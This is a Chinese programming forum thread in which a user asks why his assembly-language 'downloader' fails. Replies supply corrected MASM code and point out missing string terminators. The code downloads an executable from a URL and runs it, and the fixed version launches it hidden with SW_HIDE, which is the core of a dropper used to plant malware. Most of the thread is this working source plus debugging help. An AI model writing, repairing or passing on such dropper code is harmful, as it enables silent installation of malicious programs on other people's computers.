用汇编写一个简单的下载者，为什么出错了？该怎么解决

用汇编写一个简单的下载者，为什么出错了？
.386
.model   flat,   stdcall
option   casemap   :none

include   \masm32\include\kernel32.inc
include   \masm32\include\urlmon.inc
include   \masm32\include\windows.inc

includelib   \masm32\lib\kernel32.lib
includelib   \masm32\lib\urlmon.lib

.data
URL   db   "http://127.0.0.1/xxx.exe "
EXE   db   "xxx.exe ",0;
.code
start:
invoke   URLDownloadToFileA,0,addr   URL,addr   EXE,0,0;
invoke   WinExec,EXE,0;
invoke   ExitProcess,NULL;
end   start

真晕了，代码是照着书上抄的，可是不知道哪出错了，就是不成功。

------解决方案--------------------------------------------------------
修改一下上面代码：

.386
.model flat, stdcall
option casemap :none

include windows.inc
include kernel32.inc
include urlmon.inc
include shell32.inc

includelib kernel32.lib
includelib urlmon.lib
includelib shell32.lib
.data

URL db "http://127.0.0.1/xxx.exe "
EXE db "c:\xxx.exe ",0;
.code
start:
invoke URLDownloadToFile,NULL,addr URL,addr EXE,0,0;
invoke ShellExecute,0,0,addr EXE,0,0,SW_HIDE
invoke ExitProcess,NULL;
end start
------解决方案--------------------------------------------------------
没有用过这个函数, 不过, URL 字符串应该以 00 字节结尾吧?
------解决方案--------------------------------------------------------
在ring3层，一般的字符串结尾必须用0来标示．